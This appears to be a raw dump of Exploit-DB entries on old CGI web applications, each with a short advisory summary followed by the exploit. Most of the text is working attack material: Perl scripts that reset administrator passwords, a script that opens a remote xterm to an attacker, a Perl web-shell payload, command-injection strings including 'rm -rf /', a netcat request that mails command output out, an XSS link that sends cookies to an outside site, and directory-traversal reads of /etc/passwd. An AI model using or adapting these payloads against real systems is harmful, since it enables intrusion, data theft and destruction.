deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19795
Description: Caldera OpenLinux 2.3 - rpm_query CGI
Type: remote
Platform: cgi
Date: 2000-03-05
Author: harikiri

Exploit:
source: https://www.securityfocus.com/bid/1036/info

A vulnerability exists in the default installation of Caldera OpenLinux 2.3. A CGI is installed in /home/httpd/cgi-bin/ names rpm_query. Any user can run this CGI and obtain a listing of the packages, and versions of packages, installed on this system. This could be used to determine vulnerabilities on the machine remotely.

Run the rpm_query CGI via a GET. It is located in /cgi-bin/rmp_query, relative to the root of the web server.
Exploit-DB #20623
Description: carey internets services commerce.cgi 2.0.1 - Directory Traversal
Type: remote
Platform: cgi
Date: 2001-02-12
Author: slipy

Exploit:
source: https://www.securityfocus.com/bid/2361/info

It is possible for a remote user to gain read access to directories and files outside the root directory of Carey Internet Services Commerce.cgi. Requesting a specially crafted URL composed of '/../%00' along with the known filename or directory will disclose the requested resource. 

http://target/cgi/commerce.cgipage=../../../../etc/hosts%00filename.html
Exploit-DB #20433
Description: CGI City CC Whois 1.0 - MetaCharacter
Type: remote
Platform: cgi
Date: 1999-11-09
Author: Cody T. - hhp

Exploit:
source: https://www.securityfocus.com/bid/2000/info

Whois scripts provide InterNIC lookup services via HTTP. The vulnerable scripts include versions of Matt's Whois and CGI City Whois. Older versions of these fail to filter metacharacters, allowing execution of arbitrary commands by embedding the commands in the domain name to lookup. Specifically, the UNIX command separation character ";" can be used to execute commands. Successful exploitation of this vulnerability would allow an attacker to execute commands with the privileges of the web server process, which could result in retrieval of sensitive information, web defacements, etc. 

Depending on the specific script used, the following syntaxes have been shown to allow intrusion:

1) ;command
2) ";command
3) ;command;
Exploit-DB #20164
Description: CGI Script Center Account Manager 1.0 LITE / PRO - Administrative Password Alteration (1)
Type: remote
Platform: cgi
Date: 2000-08-23
Author: teleh0r

Exploit:
source: https://www.securityfocus.com/bid/1604/info

Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Account Manager. In order to accomplish this, a user would access the following URL with a POST command:

http://target/cgibin/amadmin.pl?setpasswd

This would grant the user full administrative privileges which includes the capability of granting and revoking user access to secured areas of the target website.

#!/usr/bin/perl -w

## Account Manager LITE 1.0x / cgi.elitehost.com
## This exploit let's you change the administrator
## password, and completely take controll.
##
## teleh0r@doglover.com / anno 2000
## httpd://teleh0r.cjb.net

use strict;
use Socket;

if (@ARGV < 2) {
    print("Usage: $0 <target> <newpass>\n");
    exit(1);
}

my($target,$newpass,$crypt,$length,$command,
   $agent,$sploit,$iaddr,$paddr,$proto);

($target,$newpass) = @ARGV;

$crypt = crypt($newpass, 'aa');
$length = 34 + length($newpass);

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/subscribe.pl\n");
print("New [CREDENTIAL_REDACTED] / $crypt\n\n");

$command = "[CREDENTIAL_REDACTED]=$newpass&setpwd=++Set+Password++";
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

# Note that POST /cgi-bin/amlite/amadmin.pl HTTP/1.0
# may have to be changed...

$sploit=
"POST /cgi-bin/amlite/amadmin.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length

$command";

$iaddr = inet_aton($target)                     || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
$proto = getprotobyname('tcp')                  || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
connect(SOCKET, $paddr)                         || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0)               || die("Error: $!\n");
close(SOCKET);

sleep(2);
print("Surf to http://$target/cgi-bin/amlite/amadmin.pl\n");
exit(0);
Exploit-DB #20165
Description: CGI Script Center Account Manager 1.0 LITE / PRO - Administrative Password Alteration (2)
Type: remote
Platform: cgi
Date: 2000-08-23
Author: n30

Exploit:
source: https://www.securityfocus.com/bid/1604/info
 
Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Account Manager. In order to accomplish this, a user would access the following URL with a POST command:
 
http://target/cgibin/amadmin.pl?setpasswd
 
This would grant the user full administrative privileges which includes the capability of granting and revoking user access to secured areas of the target website.


<FORM ACTION="http://www.decodeco.com/cgi-bin/acctman/amadmin.pl" METHOD="POST"><CENTER><BR>
<TABLE BORDER="0" WIDTH="450"><TBODY><COLDEFS><COLDEF></COLDEFS><ROWS><TR><TD
COLSTART="1"><P><B><FONT FACE="verdana, arial, helvetica"><FONT
COLOR="#FF0000">Account Manager LITE/PRO</FONT>:  Password Exploit!</FONT></B></P>
<CENTER><FONT FACE="verdana, arial, helvetica"><FONTCOLOR="#FF0000">n30</FONT></B></P></CENTER>
<P><FONT SIZE="-1" FACE="verdana, arial, helvetica">Please enter your password twice.  Once to set it, and once to confirm it.</FONT></P>
<CENTER><TABLE BORDER="0"><TBODY><COLDEFS><COLDEF><COLDEF></COLDEFS><ROWS><TR
><TD ALIGN="RIGHT" COLSTART="1"><INPUT TYPE="PASSWORD" NAME="pwd"></TD><TD
COLSTART="2"><FONT SIZE="-2" FACE="verdana, arial, helvetica">password</FONT></TD></TR>
<TR><TD ALIGN="RIGHT" COLSTART="1"><INPUT TYPE="PASSWORD" NAME="pwd2"></TD><TD
COLSTART="2"><FONT SIZE="-2" FACE="verdana, arial, helvetica">confirmation</FONT></TD></TR>
<TR><TD ALIGN="CENTER" COLSTART="1"><BR><INPUT
TYPE="SUBMIT" NAME="setpwd" VALUE="  Set Password  "></TD><TD COLSTART="2"><BR></TD></TR></ROWS></TBODY></TABLE></CENTER><CENTER><TABLE
BORDER="0" WIDTH="400"><TBODY><COLDEFS><COLDEF></COLDEFS><ROWS><TR><TD
COLSTART="1"><HR SIZE="1"></TD></TR><TR><TD ALIGN="CENTER" COLSTART="1"><FONT
SIZE="-2" FACE="verdana, arial, helvetica"><B>Account Manager LITE/PRO Admin Passwerd Exploit
</B></A></FONT></TD></TR></ROWS></TBODY></TABLE></CENTER></TD></TR></ROWS></TBODY></TABLE></CENTER>
<CENTER><FONTSIZE="1" FACE="verdana, arial, helvetica"><B><BR> To Use Modify Source To Point to amadmin.pl on TARGET Server <BR><BR><a href="mailto:n30@alldas.de">mail-me</a></CENTER>
</FORM>

<!-- Shoutz to trib, axess and all who know me! -->
Exploit-DB #20194
Description: CGI Script Center Auction Weaver 1.0.2 - Remote Command Execution
Type: remote
Platform: cgi
Date: 2000-08-30
Author: teleh0r

Exploit:
source: https://www.securityfocus.com/bid/1645/info

CGI Script Center's Auction Weaver does not verify the validity of the value in the variable 'fromfile'. Therefore it is possible to perform arbitrary commands on a remote system under the UID of the http daemon by altering the variable 'fromfile'.


#!/usr/bin/perl -w

## Auction Weaver 1.02 / Only confirmed with LITE
##        -  Proof of Concept exploit -
##
## CGI Script Center have just released an update
## of Auction Weaver due to security reasons - I
## suggest that you spend some more time securing
## it, and the other scripts - It is really needed.
##
## This exploit will spawn a xterm from $target
## to $attacker.
##
## This exploit will not work on hosts running
## Auction Weaver on NT, due to the xterm call.
##
## CGI Script Center, please contact me if you need
## help with securing your scripts...
##
## teleh0r@doglover.com / anno 2000
## http://teleh0r.cjb.net

use strict; use Socket;

if (@ARGV < 3) {
print("Usage: $0 <target> <attacker> <dpy>\n");
exit(1);
}

my($target,$attacker,$dpy,$length,$cgicode,
$agent,$sploit,$iaddr,$paddr,$proto);

($target,$attacker,$dpy) = @ARGV;

if ($dpy !~ /\d/) {
print("dpy must be a number, probably 0\n");
exit(1);
}

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/awl/auctionweaver.pl\n");
print("Command: xterm -ut -display $attacker:$dpy\n\n");

system("xhost + $target");

$length = 138 + length($attacker.$dpy);

$cgicode =
"flag1=1&fromfile=%7Cxterm+-display+$attacker%3A$dpy%7C&placebid=1&catdir".
"=cat1&username=teleh0r&[CREDENTIAL_REDACTED]=Ihavenomoney&nobiditem=1&sbut".
"ton=BID";

$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

# The path to auctionweaver.pl may of course need to be changed.

$sploit=
"POST /cgi-bin/awl/auctionweaver.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length

$cgicode";

$iaddr = inet_aton($target)                     || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
$proto = getprotobyname('tcp')                  || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
connect(SOCKET, $paddr)                         || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0)               || die("Error: $!\n");
close(SOCKET);

sleep(3);
system("xhost - $target");
print("\nAll done - hopefully you got the flying xterm!\n");
exit(0)
Exploit-DB #20176
Description: CGI Script Center Subscribe Me Lite 2.0 - Administrative Password Alteration (1)
Type: remote
Platform: cgi
Date: 2000-08-23
Author: teleh0r

Exploit:
source: https://www.securityfocus.com/bid/1607/info

Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Subscribe Me Lite. This would grant the user full administrative privileges which includes addition or removal of users from mailing lists.

#!/usr/bin/perl -w

## Subscribe Me Lite 2.0 exploit / www.cgiscriptcenter.com
## This exploits changes the administrator password and
## let's anyone take over the mailing list. You can send
## bogus e-mail to everyone on the list.
##
## May work on earlier versions, but not sure - not sure
## if it will work on the Professional version either.
##
## teleh0r@doglover.com / anno 2000
## httpd://teleh0r.cjb.net

use strict;
use Socket;

if (@ARGV < 2) {
    print("Usage: $0 <target> <newpass>\n");
    exit(1);
}

my($target,$newpass,$crypt,$length,$command,
   $agent,$sploit,$iaddr,$paddr,$proto);

($target,$newpass) = @ARGV;

$crypt = crypt($newpass, 'aa');
$length = 34 + length($newpass);

print("\nRemote host: $target\n");
print("CGI-script: /cgi-bin/subscribe.pl\n");
print("New [CREDENTIAL_REDACTED] / $crypt\n\n");

$command = "[CREDENTIAL_REDACTED]=$newpass&setpwd=++Set+Password++";
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)";

$sploit=
"POST /cgi-bin/subscribe.pl HTTP/1.0
Connection: close
User-Agent: $agent
Host: $target
Content-type: application/x-www-form-urlencoded
Content-length: $length

$command";

$iaddr = inet_aton($target)                     || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
$proto = getprotobyname('tcp')                  || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto)    || die("Error: $!\n");
connect(SOCKET, $paddr)                         || die("Error: $!\n");
send(SOCKET,"$sploit\015\012", 0)               || die("Error: $!\n");
close(SOCKET);

sleep(2);
print("Check out: http://$target/cgi-bin/subscribe.pl\n");

exit(0);
Exploit-DB #20177
Description: CGI Script Center Subscribe Me Lite 2.0 - Administrative Password Alteration (2)
Type: remote
Platform: cgi
Date: 2000-08-23
Author: n30

Exploit:
source: https://www.securityfocus.com/bid/1607/info
 
Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers' Subscribe Me Lite. This would grant the user full administrative privileges which includes addition or removal of users from mailing lists.


<html>
<FORM ACTION="http://www.cgiscriptcenter.com/cgi-bin/subprodemo/subscribe.pl" METHOD="POST">
    <CENTER><BR>
    <TABLE BORDER="0" WIDTH="400">
      <TBODY>
      <TR>
        <TD>
        
        <P><B><FONT FACE="verdana, arial, helvetica"><FONT COLOR="#FF0000">Subscribe
          Me LITE</FONT> Status: Admin Password Set Vulnerability Exploit</FONT></B></P>
        <CENTER><FONT FACE="verdana, arial, helvetica"><FONTCOLOR="#FF0000">n30</FONT></CENTER>
        <P><FONT SIZE="-1" FACE="verdana, arial, helvetica">Please enter the NEW Admin Pass: .</FONT></P>
        <CENTER>
        <TABLE BORDER="0">
          <TBODY>
          <TR>
            <TD ALIGN="RIGHT"><INPUT TYPE="PASSWORD" NAME="pwd"></TD>
            <TD><FONT SIZE="-2" FACE="verdana, arial, helvetica">password</FONT></TD>
          </TR>
          <TR>
            <TD ALIGN="RIGHT"><INPUT TYPE="PASSWORD" NAME="pwd2"></TD>
            <TD><FONT SIZE="-2" FACE="verdana, arial, helvetica">confirmation</FONT></TD>
          </TR>
          <TR>
            <TD ALIGN="CENTER"><BR>
            <INPUT TYPE="SUBMIT" NAME="setpwd" VALUE="  Set Password  "></TD>
            <TD><BR>
            <INPUT TYPE="RESET" NAME=""></TD>
          </TR></TBODY>
        </TABLE></CENTER></TD>
      </TR></TBODY>
    </TABLE>
<FONTSIZE="1" FACE="verdana, arial, helvetica"><B><BR> To Use Modify Source To Point to subscribe.pl on TARGET Server <BR><BR><a href="mailto:n30@alldas.de">mail-me</a></CENTER></FORM>
</html>
Exploit-DB #20059
Description: CGI-World Poll It 2.0 - Internal Variable Override
Type: remote
Platform: cgi
Date: 2000-07-04
Author: Adrian Daminato

Exploit:
source: https://www.securityfocus.com/bid/1431/info

Poll It is a Perl CGI application used to create and maintain opinion polls on websites. The program relies on a number of internal variables. These variables can be overwritten by any remote user by specifying the new value as a variable in the GET request. This is due to the fact that Poll It overwrites variables to user-supplied values after it sets them to the internally-specified defaults.

This can lead to unauthorized file reads, as well as potentially other compromises. 

http: //target/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/passwd%00
Exploit-DB #21415
Description: CGIScript.net - csMailto Hidden Form Field Remote Command Execution
Type: remote
Platform: cgi
Date: 2002-04-23
Author: Steve Gustin

Exploit:
source: https://www.securityfocus.com/bid/4579/info

CGIScript.NET csMailto is a Perl script designed to support multiple mailto: forms. A vulnerability has been reported in some versions of this script.

Reportedly, configuration values used by the script are contained in hidden form values. As a result, a remote attacker may trivially modify these values between script invocations. Consequences include arbitrary command execution on the vulnerable system.

- execute commands on server

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&command=mailform

- execute command on server and mail output to anyone

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&Email=user@host.com&form-autoresponse=YES&command=mailform

- email server file to anyone

CSMailto.cgi?form-attachment=FILEPATH_HERE&Email=user@host.com&form-autoresponse=YES&command=mailform
Exploit-DB #21023
Description: CGIWrap 2.x/3.x - Cross-Site Scripting
Type: remote
Platform: cgi
Date: 2001-07-22
Author: TAKAGI Hiromitsu

Exploit:
source: https://www.securityfocus.com/bid/3081/info

CGIWrap is a free, open-source program for running CGI securely.

CGIWrap does not filter embedded scripting commands from user-supplied input. A web user may submit a malicious link into any form which displays user-supplied input, such as guestbooks, forums, etc. Users clicking on the link will have the malicious scripting commands executed in their browser.

http://www.example.org/cgi-bin/cgiwrap/%3CS%3E
http://www.example.org/cgi-bin/cgiwrap/<S>
http://www.example.org/cgi-bin/cgiwrap/~nneul/<S>TEST</S>

JavaScript code will be executed:

http://www.example.org/cgi-bin/cgiwrap/~nneul/<SCRIPT>alert(document.domain)</SCRIPT>
http://www.example.org/cgi-bin/cgiwrap/~nneul/<SCRIPT>document.write(document.domain)</SCRIPT>
http://www.example.org/cgi-bin/cgiwrap/<IMG%20SRC=javascript:alert(document.domain)>

Stealing your Cookies issued by www.example.org, if any:

http://www.example.org/cgi-bin/cgiwrap/~nneul/<SCRIPT>window.open("http://malicious-site/save.cgi%3F"+escape(document.cookie))</SCRIPT>
Exploit-DB #19844
Description: CNC Technology BizDB 1.0 - 'bizdb-search.cgi' Remote Command Execution
Type: remote
Platform: cgi
Date: 2000-04-13
Author: PErfecto Technology

Exploit:
source: https://www.securityfocus.com/bid/1104/info

BizDB is a web databse integration product using perl CGI scripts. One of the scripts, bizdb-search.cgi, passes a variable's contents to an unchecked open() call and can therefore be made to execute commands at the privilege level of the webserver.

The variable is dbname, and if passed a semicolon followed by shell commands they will be executed. This cannot be exploited from a browser, as the software checks for a referrer field in the HTTP request. A valid referrer field can however be created and sent programmatically or via a network utility like netcat. 


The following netcat session will cause a copy of the output of the ls command to be mailed to attacker@attacker-host

netcat target 80
GET
/cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search
(empty line)
(End of Input)
Exploit-DB #20085
Description: Computer Software Manufaktur Alibaba 2.0 - Piped Command
Type: remote
Platform: cgi
Date: 2000-07-18
Author: Prizm

Exploit:
source: https://www.securityfocus.com/bid/1485/info

Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine. 

http://victim/cgi-bin/post32.exe|echo%20>c:\text.txt
http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir]
Exploit-DB #20887
Description: Cosmicperl Directory Pro 2.0 - Arbitrary File Disclosure
Type: remote
Platform: cgi
Date: 2001-05-28
Author: Marshal

Exploit:
source: https://www.securityfocus.com/bid/2793/info

Webdirectory Pro is a web application used to create a searchable directory of links developed by Cosmicperl.

Webdirectory Pro contains an input validation vulnerability which may lead to disclosure of sensitive information to attackers. The value of the 'show' variable is not properly validated and can be used to force 'directorypro.cgi' to output the contents of an arbitrary webserver-readable file to a remote attacker.

This is due to a lack of checks for NULL bytes in user-supplied data. 

Submit a request such as this to a vulnerable webserver:

http://target/cgi-bin/directorypro.cgi?want=showcat&show=../../../..//etc/motd%00

This will result in the contents of '/etc/motd' being output.
Exploit-DB #23804
Description: cPanel 5/6/7/8/9 - Resetpass Remote Command Execution
Type: remote
Platform: cgi
Date: 2004-03-11
Author: Arab VieruZ

Exploit:
source: https://www.securityfocus.com/bid/9848/info

A potential remote command execution vulnerability has been discovered in the cPanel Application. This issue occurs due to insufficient sanitization of externally supplied data to the script that handles resetting user passwords.

An attacker may exploit this problem by crafting a malicious URI request for the affected script; the attacker may then supply shell metacharacters and arbitrary commands as a value for the affected variable.

http://www.example.com:2082/resetpass/?user=|">ls"|
Exploit-DB #21354
Description: CSSearch 2.3 - Remote Command Execution
Type: remote
Platform: cgi
Date: 2002-03-26
Author: Steve Gustin

Exploit:
source: https://www.securityfocus.com/bid/4368/info

csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems.

csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process.

For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example:

http://host/cgi-bin/csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE 

Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.

csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

For example, the classic "rm -rf /" example would be
as follows:

csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`

Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
print "<input type=text name=cmd size=99> ";
print "<input type=submit value=Execute><hr><xmp>";
$in{'cmd'} && print `$in{'cmd'} 2>&1`;
exit;
};

URL Encoded as:

csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm
and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26
%26print`$in{'cmd'}+2>%261`;exit;};
Exploit-DB #19745
Description: Daniel Beckham The Finger Server 0.82 Beta - Pipe
Type: remote
Platform: cgi
Date: 2000-02-04
Author: Iain Wade

Exploit:
source: https://www.securityfocus.com/bid/974/info

'The Finger Server' is a perl script for providing .plan-like functionality through a website. Due to insufficient input checking it is possible for remote unauthenticated users to execute shell commands on the server which will run with the priveleges of the webserver. 

A request like:
http ://target/finger.cgi?action=archives&cmd=specific
&filename=99.10.28.15.23.username.|<shell command>|
(split for readability)
will cause the server to execute whatever command is specified.
Exploit-DB #19852
Description: Dansie Shopping Cart 3.0.4 - Multiple Vulnerabilities
Type: remote
Platform: cgi
Date: 2000-04-14
Author: tombow & Randy Janinda

Exploit:
source: https://www.securityfocus.com/bid/1115/info

Appending specific variables and values to http://target/cgi-bin/cart.pl? will allow remote users to perform certain actions. "vars" will display the configuration settings of the application, which includes the username and password used for credit card transactions. Environmental settings can be obtained using "env'".

The "db" string will list the entire database file containing all items in the shopping cart.

In addition, Dansie Shopping Cart allows remote users to modify shopping cart contents by requesting a certain URL with altered variables.

eg.
http://target/cgi-bin/scripts/cart.pl?name=<Name of item>&price=<Price of product>&sh=<Shipping and handling>&img=<Image file>&return=<Target host>&custom1=<Description of Product>

A new item will appear in the shopping cart on the website with the latest manipulated data. 

http://target/cgi-bin/cart.pl?vars
http://target/cgi-bin/cart.pl?env
http://target/cgi-bin/cart.pl?db

http://target/cgi-bin/scripts/cart.pl?name=<Name&nbsp;of&nbsp;item>&price=<Price&nbsp;of&nbsp;product>&sh=<Shipping&nbsp;and&nbsp;handling>&img=<Image&nbsp;file>&return=<Target&nbsp;host>&custom1=<Description&nbsp;of&nbsp;Product>